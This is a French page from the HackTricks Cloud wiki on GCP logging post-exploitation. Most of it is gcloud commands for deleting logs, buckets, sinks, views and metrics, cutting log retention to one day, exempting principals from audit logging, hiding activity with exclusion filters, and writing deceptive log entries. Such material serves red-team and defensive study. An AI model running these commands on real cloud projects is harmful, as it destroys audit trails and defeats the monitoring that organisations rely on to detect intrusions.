Français - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

GCP - Logging Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Pour plus d'informations, consultez :

pageGCP - Logging Enum

Pour d'autres façons de perturber la surveillance, consultez :

pageGCP - Monitoring Post Exploitation

Journalisation par défaut

Par défaut, vous ne serez pas attrapé simplement pour avoir effectué des actions de lecture. Pour plus d'informations, consultez la section Enumération de la journalisation.

Ajouter un principal excepté

Dans https://console.cloud.google.com/iam-admin/audit/allservices et https://console.cloud.google.com/iam-admin/audit, il est possible d'ajouter des principaux pour ne pas générer de journaux. Un attaquant pourrait abuser de cela pour éviter d'être attrapé.

Lire les journaux - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

Supprime un ou plusieurs journaux de destination.

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks :

PrécédentGCP - KMS Post ExploitationSuivantGCP - Monitoring Post Exploitation

Dernière mise à jour